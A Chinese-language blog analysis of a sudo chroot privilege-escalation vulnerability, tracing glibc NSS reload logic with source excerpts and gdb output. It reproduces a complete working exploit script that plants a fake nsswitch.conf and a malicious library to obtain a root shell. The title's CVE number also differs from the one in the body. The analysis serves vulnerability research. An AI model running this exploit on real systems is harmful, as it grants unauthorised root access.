Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

CVE-2025-36463 Sudo_chroot Elevation of Privilege 漏洞分析

2025-07-02 Updated on 2026-02-07 VulnerabilityAnalysis

Table of Contents

  1. 漏洞分析
    1. nss_database_check_reload_and_get 分析
    2. reload_disabled
    3. load evil library
  2. 复现
  3. Patched
  4. 思考
  5. Reference link
TL; DR

startascale 6 月 30 日发布了几个 sudo 的提权漏洞,CVE-CVE-2025-32463[1] 是其中一个, 另外一个 CVE-2025-32462[2] 需要一个特殊配置。

该漏洞依赖于 Sudo 规则被限制在特定主机名或主机名模式的配置场景下。如果满足这些条件,权限提升到 root 无需任何漏洞利用(exploit)。

漏洞分析

CVE-2025-32463在Sudo v1.9.14(2023年6月)中引入(https://github.com/sudo-project/sudo/blob/SUDO_1_9_14/NEWS),在使用chroot功能时,更新了命令匹配处理代码。本文漏洞分析的sudo代码 commit 为: cb3355e9d4f66db642b9c0e9151423762504339b

该代码逻辑在, plugins/sudoers/sudoers.c 文件中的 set_cmnd_path 函数里,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
{
...
/* Pivot root. */
if (runchroot != NULL) {
if (!pivot_root(runchroot, &pivot_state))
goto error;
}
...
ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path);
...
if (runchroot != NULL)
(void)unpivot_root(&pivot_state);
...

代码逻辑大致是:
1. pivot_root 函数进行 chroot 2. resolve_cmnd函数去进行命令的匹配查找路径 3. 最后unpivot_root` chroot 回到原来的 root path

漏洞的发生点其实就是在 pivot_root 和 unpivot_root 之间,有代码逻辑去读取 /etc/nsswitch.conf 文件并进行了 nss_database* 的更新。

当我看到这个漏洞和代码的时候有一个直觉性的疑问, 如果在 chroot 后会进行 /etc/nsswitch.conf 的读取, 且读取的是 chroot 里的文件,那么为什么unpivot_root 后代码代码逻辑不会重新读取 /etc/nsswitch.conf 。 因此这个漏洞分析以两个疑问展开分析:

  1. pivot_root 和 unpivot_root 之间什么操作导致会重新加载 /etc/nsswitch.conf
  2. 为什么 unpivot_root 之后到加载恶意代码之前不会重新读取 /etc/nsswitch.conf

nss_database_check_reload_and_get 分析

对 nss 相关代码的简单追踪, 我们定位到 nss_database_check_reload_and_get[2] 会调用 nss_database_reload 函数进而打开 /etc/nsswitch.conf 配置文件

调用链如下:

1
2
3
static bool nss_database_check_reload_and_get 
-> static bool ss_database_reload
-> FILE *fp = fopen (_PATH_NSSWITCH_CONF, "rce");

我们在 pivot_root 之后对 nss_database_check_reload_and_get 下个断点,此时 gdb 的backtrace 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Breakpoint 1, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups)
at ./nss/nss_database.c:396
warning: 396 ./nss/nss_database.c: No such file or directory
(gdb) bt
#0 nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups) at ./nss/nss_database.c:396
#1 0x00007ffff7d56ddc in internal_getgrouplist (user=user@entry=0x5555555a8d98 "root", group=group@entry=0, size=size@entry=0x7fffffffc568,
groupsp=groupsp@entry=0x7fffffffc570, limit=limit@entry=-1) at ./nss/initgroups.c:75
#2 0x00007ffff7d570dc in getgrouplist (user=user@entry=0x5555555a8d98 "root", group=group@entry=0, groups=groups@entry=0x7ffff7b15010,
ngroups=ngroups@entry=0x7fffffffc5d4) at ./nss/initgroups.c:156
#3 0x00007ffff7fa51a9 in sudo_getgrouplist2_v1 (name=0x5555555a8d98 "root", basegid=0, groupsp=groupsp@entry=0x7fffffffc630,
ngroupsp=ngroupsp@entry=0x7fffffffc63c) at ./getgrouplist.c:105
#4 0x00007ffff7ed987e in sudo_make_gidlist_item (pw=0x5555555a8d68, ngids=<optimized out>, gids=<optimized out>, gidstrs=0x0, type=1) at ./pwutil_impl.c:298
#5 0x00007ffff7ed83d5 in sudo_get_gidlist (pw=0x5555555a8d68, type=type@entry=1) at ./pwutil.c:1033
#6 0x00007ffff7ecfbcb in runas_getgroups (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>) at ./match.c:146
#7 0x00007ffff7ebbc3c in runas_setgroups (ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./set_perms.c:1634
#8 set_perms (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, perm=perm@entry=5) at ./set_perms.c:285
#9 0x00007ffff7edadb8 in resolve_cmnd (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, infile=infile@entry=0x7fffffffe594 "woot",
outfile=outfile@entry=0x7fffffffcc40, path=path@entry=0x5555555b0400 "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin")
at ./resolve_cmnd.c:42
#10 0x00007ffff7ebebbc in set_cmnd_path (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, runchroot=0x5555555a701c "woot") at ./sudoers.c:1108
#11 0x00007ffff7ebf047 in set_cmnd (ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./sudoers.c:1177
#12 sudoers_check_common (pwflag=pwflag@entry=0, ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./sudoers.c:358
#13 0x00007ffff7ec06c8 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7fffffffe2d0, env_add=env_add@entry=0x0,
closure=closure@entry=0x7fffffffcdd0) at ./sudoers.c:689
#14 0x00007ffff7eb6673 in sudoers_policy_check (argc=1, argv=0x7fffffffe2d0, env_add=0x0, command_infop=0x7fffffffcea0, argv_out=0x7fffffffcea8,
user_env_out=0x7fffffffceb0, errstr=0x7fffffffcec8) at ./policy.c:1244
#15 0x000055555555cffb in policy_check (run_envp=0x7fffffffceb0, run_argv=0x7fffffffcea8, command_info=0x7fffffffcea0, env_add=0x0, argv=0x7fffffffe2d0,
argc=1) at ./sudo.c:1266
#16 main (

当前 nss_database_check_reload_and_get 的第三个参数 database_index 为 nss_database_initgroups, local 参数结构:

1
2
3
4
5
(gdb) p *local
$1 = {data = {nsswitch_conf = {size = 527, ino = 106330, mtime = {tv_sec = 1751446775, tv_nsec = 344332209}, ctime = {tv_sec = 1751446775,
tv_nsec = 345332238}}, services = {0x5555555a1060, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0, 0x5555555a1200, 0x5555555a2020, 0x0,
0x5555555a20c0, 0x5555555a1060, 0x5555555a1200, 0x5555555a20c0, 0x5555555a2070, 0x5555555a3b20, 0x5555555a2070, 0x5555555a2070, 0x5555555a1200,
0x5555555a20c0}, reload_disabled = 0, initialized = true}, lock = 0, root_ino = 2, root_dev = 64769}

其中 services 对应如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 DEFINE_DATABASE (aliases)
DEFINE_DATABASE (ethers)
DEFINE_DATABASE (group)
DEFINE_DATABASE (group_compat)
DEFINE_DATABASE (gshadow)
DEFINE_DATABASE (hosts)
DEFINE_DATABASE (initgroups)
DEFINE_DATABASE (netgroup)
DEFINE_DATABASE (networks)
DEFINE_DATABASE (passwd)
DEFINE_DATABASE (passwd_compat)
DEFINE_DATABASE (protocols)
DEFINE_DATABASE (publickey)
DEFINE_DATABASE (rpc)
DEFINE_DATABASE (services)
DEFINE_DATABASE (shadow)
DEFINE_DATABASE (shadow_compat)

在进 nss_database_reload 函数的时候,里面有个逻辑是, 如果 staging->services[i] == NULL 就设置为 default 的值,

1
2
3
4
5
6
7
8
for (int i = 0; i < NSS_DATABASE_COUNT; ++i)
if (staging->services[i] == NULL)
{
ok = nss_database_select_default (&cache, i,
&staging->services[i]);
if (!ok)
break;
}

由 nss_database_select_default 获取然后设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static const char per_database_defaults[NSS_DATABASE_COUNT] =
{
[nss_database_group] = nss_database_default_compat,
[nss_database_group_compat] = nss_database_default_nis,
[nss_database_gshadow] = nss_database_default_files,
[nss_database_hosts] = nss_database_default_dns,
[nss_database_initgroups] = nss_database_default_none,
[nss_database_networks] = nss_database_default_dns,
[nss_database_passwd] = nss_database_default_compat,
[nss_database_passwd_compat] = nss_database_default_nis,
[nss_database_publickey] = nss_database_default_nis_nisplus,
[nss_database_shadow] = nss_database_default_compat,
[nss_database_shadow_compat] = nss_database_default_nis,
};


static bool
nss_database_select_default (struct nss_database_default_cache *cache,
enum nss_database db, nss_action_list *result)
{
enum nss_database_default def = per_database_defaults[db];
...
case nss_database_default_none:
/* Very special case: Leave *result as NULL. */
return true;
...
*result = __nss_action_parse (line);
if (*result == NULL)
{
assert (errno == ENOMEM);
return false;
}
return true;

在 nss_database_initgroups 设置的时候,默认为 None, 因此此时 service 为 nss_database_initgroups 是 0x0 (这个很重要)

1
2
3
4
5
(gdb) p *local
$1 = {data = {nsswitch_conf = {size = 527, ino = 106330, mtime = {tv_sec = 1751446775, tv_nsec = 344332209}, ctime = {tv_sec = 1751446775,
tv_nsec = 345332238}}, services = {0x5555555a1060, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0, 0x5555555a1200, 0x5555555a2020, 0x0,
0x5555555a20c0, 0x5555555a1060, 0x5555555a1200, 0x5555555a20c0, 0x5555555a2070, 0x5555555a3b20, 0x5555555a2070, 0x5555555a2070, 0x5555555a1200,
0x5555555a20c0}, reload_disabled = 0, initialized = true}, lock = 0, root_ino = 2, root_dev = 64769}

解释了下,此时((struct nss_database_state *)local)->data.services[nss_database_initgroups]为空的原因,我们接着回到 nss_database_check_reload_and_get的代码里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

static bool
nss_database_check_reload_and_get (struct nss_database_state *local,
nss_action_list *result,
enum nss_database database_index)
{
struct __stat64_t64 str;
/* Acquire MO is needed because the thread that sets reload_disabled
may have loaded the configuration first, so synchronize with the
Release MO store there. */
if (atomic_load_acquire (&local->data.reload_disabled))
{
*result = local->data.services[database_index];
/* No reload, so there is no error. */
return true;
}
struct file_change_detection initial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
return false;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
{
/* Configuration is up-to-date. Read it and return it to the
caller. */
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}
int stat_rv = __stat64_time64 ("/", &str);
if (local->data.services[database_index] != NULL)
{
/* Before we reload, verify that "/" hasn't changed. We assume that
errors here are very unlikely, but the chance that we're entering
a container is also very unlikely, so we err on the side of both
very unlikely things not happening at the same time. */
if (stat_rv != 0
|| (local->root_ino != 0
&& (str.st_ino != local->root_ino
|| str.st_dev != local->root_dev)))
{
/* Change detected; disable reloading and return current state. */
atomic_store_release (&local->data.reload_disabled, 1);
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}
}
if (stat_rv == 0)
{
local->root_ino = str.st_ino;
local->root_dev = str.st_dev;
}
__libc_lock_unlock (local->lock);
/* Avoid overwriting the global configuration until we have loaded
everything successfully. Otherwise, if the file change
information changes back to what is in the global configuration,
the lookups would use the partially-written configuration. */
struct nss_database_data staging = { .initialized = true, };
bool ok = nss_database_reload (&staging, &initial);
if (ok)
{
__libc_lock_lock (local->lock);
/* See above for memory order. */
if (!atomic_load_acquire (&local->data.reload_disabled))
/* This may go back in time if another thread beats this
thread with the update, but in this case, a reload happens
on the next NSS call. */
local->data = staging;
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
}
return ok;
}

在刚进 nss_database_check_reload_and_get 函数的时候, 先是判断 local->data.reload_dsiable
是否为 True, 如果为True 则直接 return

1
2
3
4
5
6
if (atomic_load_acquire (&local->data.reload_disabled))
{
*result = local->data.services[database_index];
/* No reload, so there is no error. */
return true;
}

然后是判断/etc/nsswitch.conf文件是否修改:

1
2
3
4
5
6
7
8
9
10
11
12
struct file_change_detection initial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
return false;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
{
/* Configuration is up-to-date. Read it and return it to the
caller. */
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}

因为此时是刚 chroot 进来, 所以此时的 /etc/nsswitch.conf是一个修改的状态,所以代码会继续往下走。然后是一个重点逻辑, 如果代码判断成功,则设置 local->data.reload_disabled 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 if (local->data.services[database_index] != NULL)
{
/* Before we reload, verify that "/" hasn't changed. We assume that
errors here are very unlikely, but the chance that we're entering
a container is also very unlikely, so we err on the side of both
very unlikely things not happening at the same time. */
if (stat_rv != 0
|| (local->root_ino != 0
&& (str.st_ino != local->root_ino
|| str.st_dev != local->root_dev)))
{
/* Change detected; disable reloading and return current state. */
atomic_store_release (&local->data.reload_disabled, 1);
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}
}

因为当前 local->data.services[database_index] 为 NULL (此时((struct nss_database_state *)local)->data.services[nss_database_initgroups]为空)

因此不会去设置 local->data.reload_disabled , 此时 local->data.reload_disabled 仍然为 0

1
2
(gdb) p ((struct nss_database_state *)local)->data.reload_disabled
$8 = 0

然后保存当前的 root inode 和 root dev

1
2
3
4
5
if (stat_rv == 0)
{
local->root_ino = str.st_ino;
local->root_dev = str.st_dev;
}

最后就走到 bool ok = nss_database_reload (&staging, &initial); 进行 database 的reload。

[!小结]

这里就解答了第一个问题, 由于 getgrouplist 的调用因此调用了nss_database_check_reload_and_get 函数。

在nss_database_check_reload_and_get函数里,由于此时 reload_disabled 没有设置且services[nss_database_initgroups] 是空,所以走到了 nss_database_reload 。

reload_disabled

对 nss_database_check_reload_and_get 断点 , 并在 pivot_root 和unpivot_root 下断点。然后打印出在 nss_database_check_reload_and_get 的第三个参数database_index 。

1
2
3
4
5
6
7
8
9
10
11
>end
(gdb) i b
Num Type Disp Enb Address What
3 breakpoint keep y <MULTIPLE>
3.1 y 0x00007ffff7d2b050 in pivot_root at ../sysdeps/unix/syscall-template.S:120
3.2 y 0x00007ffff7eb59b0 in pivot_root at ./pivot.c:39
4 breakpoint keep y 0x00007ffff7eb5b00 in unpivot_root at ./pivot.c:64
5 breakpoint keep y 0x00007ffff7d52300 in nss_database_check_reload_and_get at ./nss/nss_database.c:396
i r rdx
c
(gdb)

我们可以清楚的看到在 pivot_root 和 unpivot_root 前后 nss_database_check_reload_and_get 的参数不同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Breakpoint 3.2, pivot_root (new_root=0x5555555a701c "woot", state=0x7fffffffcc38) at ./pivot.c:39
39 {
(gdb) c
Continuing.
Download failed: Invalid argument. Continuing without source file ./nss/./nss/nss_database.c.

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups)
at ./nss/nss_database.c:396
warning: 396 ./nss/nss_database.c: No such file or directory
rdx 0x6 6

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_group) at ./nss/nss_database.c:396
396 in ./nss/nss_database.c
rdx 0x2 2

Breakpoint 4, unpivot_root (state=state@entry=0x7fffffffcc38) at ./pivot.c:64
64 {
(gdb) c
Continuing.
Download failed: Invalid argument. Continuing without source file ./nss/./nss/nss_database.c.

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b68 <__nss_group_database>, database_index=nss_database_group)
at ./nss/nss_database.c:396
warning: 396 ./nss/nss_database.c: No such file or directory
rdx 0x2 2

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b68 <__nss_group_database>, database_index=nss_database_group)
at ./nss/nss_database.c:396
396 in ./nss/nss_database.c
rdx 0x2 2

Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b00 <__nss_shadow_database>, database_index=nss_database_shadow)
at ./nss/nss_database.c:396
396 in ./nss/nss_database.c
rdx 0xf 15
Downloading separate debug info for libnss_/woot1337.so.2
Download failed: Invalid argument. Continuing without source file ./nss/./nss/nss_database.c.

整理出来就是:

1
2
3
4
5
6
7
8
9
10
nss_database_passwd 9
nss_database_passwd 9
nss_database_passwd 9
# pivot_root
nss_database_initgroups 6
nss_database_group 2
# unpivot_root
nss_database_group 2
nss_database_group 2
nss_database_shadow 15 # load lib

在章节 ”nss_database_check_reload_and_get 分析“的时候我们知道 nss_database_initgroups的时候 reload_disabled 不会设置。

当到第一个 nss_database_group 的时候, 由于文件没有修改, 所以会直接 return。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) n
418 *result = local->data.services[database_index];
(gdb) l
413 __libc_lock_lock (local->lock);
414 if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
415 {
416 /* Configuration is up-to-date. Read it and return it to the
417 caller. */
418 *result = local->data.services[database_index];
419 __libc_lock_unlock (local->lock);
420 return true;
421 }
422
(gdb)

不会走后续的逻辑。

当走完 unpivot_root 来到第二个nss_database_group, reload_disabled 没有设置, 走到文件修改比较。 因为此时已经 unpivot_root, 因此文件是有变化的, 程序会继续执行。

当走到 if (local->data.services[database_index] != NULL) 判断的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 if (local->data.services[database_index] != NULL)
{
/* Before we reload, verify that "/" hasn't changed. We assume that
errors here are very unlikely, but the chance that we're entering
a container is also very unlikely, so we err on the side of both
very unlikely things not happening at the same time. */
if (stat_rv != 0
|| (local->root_ino != 0
&& (str.st_ino != local->root_ino
|| str.st_dev != local->root_dev)))
{
/* Change detected; disable reloading and return current state. */
atomic_store_release (&local->data.reload_disabled, 1);
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
return true;
}
}

由于 local->data.services[database_index] 不为空, 因此会进入 if 的逻辑。 且此时

1
2
3
4
5
stat_rv = 0
((struct nss_database_state *)local)->root_ino = 0x560d0
((struct nss_database_state *)0x5555555a1ad0)->root_dev = 0xfd01
str.st_ino != local->root_ino
str.st_dev != local->root_dev

符合这个 if 的判断, 会进到 atomic_store_release (&local->data.reload_disabled, 1); , 走完这句代码后 local->data.reload_disabled 就会被设置为 1, 然后直接返回。

那么之后剩下的 nss_database_check_reload_and_get 函数调用都会在开头就会返回,不会进到 nss_database_reload 逻辑里

[!小结]
这里就解决了第二个疑问, 为什么后续 nss_database_check_reload_and_get 函数调用不会进到 nss_database_reload。 因为代码逻辑当 chroot 回到原来的目录的时候,调用第一个 nss_database_check_reload_and_get 会将 reload_disabled 设置成 1 且返回, 后续的调用就不会再进 nss_database_reload

load evil library

利用直接参考贴原作者的就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

在不可信任的路径里配置一个 etc/nsswitch.conf, 内容如下:

1
2
bash-5.2$ cat woot/etc/nsswitch.conf
passwd: /woot1337

一个有趣的说明,nsswitch.conf中的源的名称也被用作共享对象(库)的路径的一部分。例如,上述LDAP源转化为 libnss_/woot1337.so.2.so。

那么在哪里加载恶意 so 的呢? 我们对 dlopen 下一个断点, 然后查看一下他的 backtrace。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#0  0x00007ffff7e86191 in woot () from libnss_/woot1337.so.2
#1 0x00007ffff7fca6d5 in call_init (l=0x5555555b5cb0, argc=argc@entry=4, argv=argv@entry=0x7fffffffe2b8, env=env@entry=0x7fffffffe2e0)
at ./elf/dl-init.c:60
#2 0x00007ffff7fca824 in call_init (env=<optimized out>, argv=<optimized out>, argc=<optimized out>, l=<optimized out>) at ./elf/dl-init.c:120
#3 _dl_init (main_map=0x5555555b5cb0, argc=4, argv=0x7fffffffe2b8, env=0x7fffffffe2e0) at ./elf/dl-init.c:121
#4 0x00007ffff7fc65b2 in __GI__dl_catch_exception (exception=exception@entry=0x0, operate=operate@entry=0x7ffff7fd1cc0 <call_dl_init>,
args=args@entry=0x7fffffffc340) at ./elf/dl-catch.c:211
#5 0x00007ffff7fd1d7c in dl_open_worker (a=0x7fffffffc4f0) at ./elf/dl-open.c:829
#6 dl_open_worker (a=a@entry=0x7fffffffc4f0) at ./elf/dl-open.c:792
#7 0x00007ffff7fc651c in __GI__dl_catch_exception (exception=exception@entry=0x7fffffffc4d0, operate=operate@entry=0x7ffff7fd1ce0 <dl_open_worker>,
args=args@entry=0x7fffffffc4f0) at ./elf/dl-catch.c:237
#8 0x00007ffff7fd2164 in _dl_open (file=0x5555555b4d40 "libnss_/woot1337.so.2", mode=<optimized out>, caller_dlopen=0x7ffff7d53a0f <module_load+175>,
nsid=<optimized out>, argc=4, argv=0x7fffffffe2b8, env=0x7fffffffe2e0) at ./elf/dl-open.c:905
#9 0x00007ffff7d840d5 in do_dlopen (ptr=ptr@entry=0x7fffffffc750) at ./elf/dl-libc.c:95
#10 0x00007ffff7fc651c in __GI__dl_catch_exception (exception=exception@entry=0x7fffffffc6e0, operate=0x7ffff7d84090 <do_dlopen>, args=0x7fffffffc750)
at ./elf/dl-catch.c:237
#11 0x00007ffff7fc6669 in _dl_catch_error (objname=0x7fffffffc740, errstring=0x7fffffffc748, mallocedp=0x7fffffffc73f, operate=<optimized out>,
args=<optimized out>) at ./elf/dl-catch.c:256
#12 0x00007ffff7d844ef in dlerror_run (args=0x7fffffffc750, operate=0x7ffff7d84090 <do_dlopen>) at ./elf/dl-libc.c:45
#13 __libc_dlopen_mode (name=<optimized out>, mode=mode@entry=-2147483646) at ./elf/dl-libc.c:162
#14 0x00007ffff7d53a0f in module_load (module=0x5555555af790) at ./nss/nss_module.c:187
#15 0x00007ffff7d53ee5 in __nss_module_load (module=0x5555555af790) at ./nss/nss_module.c:302
#16 __nss_module_get_function (module=0x5555555af790, name=name@entry=0x7ffff7dcf1eb "setspent") at ./nss/nss_module.c:328
#17 0x00007ffff7d5460b in __GI___nss_lookup_function (fct_name=0x7ffff7dcf1eb "setspent", ni=<optimized out>) at ./nss/nsswitch.c:137
#18 __GI___nss_lookup (ni=0x7ffff7e11690 <nip>, fct_name=0x7ffff7dcf1eb "setspent", fct2_name=0x0, fctp=0x7fffffffcac0) at ./nss/nsswitch.c:67
#19 0x00007ffff7d51306 in setup (all=1, startp=0x7ffff7e11680 <startp>, nip=0x7ffff7e11690 <nip>, fctp=0x7fffffffcac0,
lookup_fct=0x7ffff7d50a80 <__GI___nss_shadow_lookup2>, func_name=0x7ffff7dcf1eb "setspent") at ./nss/getnssent_r.c:33
#20 __nss_setent (func_name=func_name@entry=0x7ffff7dcf1eb "setspent", lookup_fct=0x7ffff7d50a80 <__GI___nss_shadow_lookup2>,
nip=nip@entry=0x7ffff7e11690 <nip>, startp=startp@entry=0x7ffff7e11680 <startp>, last_nip=last_nip@entry=0x7ffff7e11688 <last_nip>,
stayopen=stayopen@entry=0, stayopen_tmp=0x0, res=0) at ./nss/getnssent_r.c:76
#21 0x00007ffff7d6490b in setspent () at ../nss/getXXent_r.c:124
#22 0x00007ffff7e98b33 in sudo_setspent () at ./getspwuid.c:122
#23 0x00007ffff7e98c27 in sudo_passwd_init (ctx=<optimized out>, pw=0x5555555a8a78, auth=0x7ffff7f29020 <auth_switch>) at ./auth/passwd.c:57
#24 0x00007ffff7e97a84 in sudo_auth_init (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, pw=0x5555555a8a78, mode=mode@entry=33554433)
at ./auth/sudo_auth.c:117
#25 0x00007ffff7e9a9a3 in check_user (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, validated=validated@entry=96, mode=33554433) at ./check.c:136
#26 0x00007ffff7ebf201 in sudoers_check_common (pwflag=pwflag@entry=0, ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./sudoers.c:468
#27 0x00007ffff7ec06c8 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7fffffffe2d0, env_add=env_add@entry=0x0,
closure=closure@entry=0x7fffffffcdd0) at ./sudoers.c:689
#28 0x00007ffff7eb6673 in sudoers_policy_check (argc=1, argv=0x7fffffffe2d0, env_add=0x0, command_infop=0x7fffffffcea0, argv_out=0x7fffffffcea8,
user_env_out=0x7fffffffceb0, errstr=0x7fffffffcec8) at ./policy.c:1244
#29 0x000055555555cffb in policy_check (run_envp=0x7fffffffceb0, run_argv=0x7fffffffcea8, command_info=0x7fffffffcea0, env_add=0x0, argv=0x7fffffffe2d0,
argc=1) at ./sudo.c:1266
#30 main (argc=<optimized out>, argv=<optimized out>, envp=0x7fffffffe2e0) at ./sudo.c:261
(gdb)

从这个调用链,我们就很清楚的知道了是在 setspent 之后进行的 dlopen 加载恶意的 so

1
2
3
4
5
6
policy_check -> sudoers_policy_check -> sudoers_check_cmnd
-> sudoers_check_common
-> set_cmnd_path
-> check_user -> sudo_auth_init -> sudo_passwd_init -> sudo_setspent -> setspent
-> setup -> module_load

那么 setspent 做了什么呢? setspent 函数会用来打开 shadows 文件的方法一个使用的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

setpwent();
while(gets(buf) != NULL)
{
if((sp = getspnam(buf)) != (struct spwd *) 0 )
{
printf("Vaild login name is:%s\n",sp->sp_namp);
}
else
{
setspent();
while((sp = getspent()) != (struct spwd *)0)
{
printf("%s\n", sp->sp_namp);
}
}

setspent 实现代码[3]

1
2
3
4
5
6
7
8
9
10
11
void
SETFUNC_NAME (STAYOPEN)
{
int save;
__libc_lock_lock (lock);
__nss_setent (SETFUNC_NAME_STRING, DB_LOOKUP_FCT, &nip, &startp,
&last_nip, STAYOPEN_VAR, STAYOPEN_TMPVAR, NEED__RES);
save = errno;
__libc_lock_unlock (lock);
__set_errno (save);
}

当调用到module_load的时候就会加载 so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/* Internal implementation of __nss_module_load.  */
static bool
module_load (struct nss_module *module)
{
if (strcmp (module->name, "files") == 0)
return module_load_nss_files (module);
if (strcmp (module->name, "dns") == 0)
return module_load_nss_dns (module);
void *handle;
{
char *shlib_name;
if (__asprintf (&shlib_name, "libnss_%s.so%s",
module->name, __nss_shlib_revision) < 0)
/* This is definitely a temporary failure. Do not update
module->state. This will trigger another attempt at the next
call. */
return false;
handle = __libc_dlopen (shlib_name);
free (shlib_name);
}
/* Failing to load the module can be caused by several different
scenarios. One such scenario is that the module has been removed
from the disk. In which case the in-memory version is all that
we have, and if the module->state indidates it is loaded then we
can use it. */
if (handle == NULL)
{
/* dlopen failure. We do not know if this a temporary or
permanent error. See bug 22041. Update the state using the
double-checked locking idiom. */
__libc_lock_lock (nss_module_list_lock);
bool result = result;
switch ((enum nss_module_state) atomic_load_acquire (&module->state))
{
case nss_module_uninitialized:
atomic_store_release (&module->state, nss_module_failed);
result = false;
break;
case nss_module_loaded:
result = true;
break;
case nss_module_failed:
result = false;
break;
}
__libc_lock_unlock (nss_module_list_lock);
return result;
}
nss_module_functions_untyped pointers;
/* Look up and store locally all the function pointers we may need
later. Doing this now means the data will not change in the
future. */
for (size_t idx = 0; idx < array_length (nss_function_name_array); ++idx)
{
char *function_name;
if (__asprintf (&function_name, "_nss_%s_%s",
module->name, nss_function_name_array[idx]) < 0)
{
/* Definitely a temporary error. */
__libc_dlclose (handle);
return false;
}
pointers[idx] = __libc_dlsym (handle, function_name);
free (function_name);
PTR_MANGLE (pointers[idx]);
}

image.png

复现

image.png

Patched

修复 commit [5]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
--- sudo-1.9.17/plugins/sudoers/sudoers.c       2025-06-12 12:12:38.000000000 -0500
+++ sudo/plugins/sudoers/sudoers.c 2025-06-10 11:27:57.493871502 -0500
@@ -1080,7 +1080,6 @@
int
set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
{
- struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER;
const char *cmnd_in;
char *cmnd_out = NULL;
char *path = ctx->user.path;
@@ -1099,13 +1098,7 @@
if (def_secure_path && !user_is_exempt(ctx))
path = def_secure_path;

- /* Pivot root. */
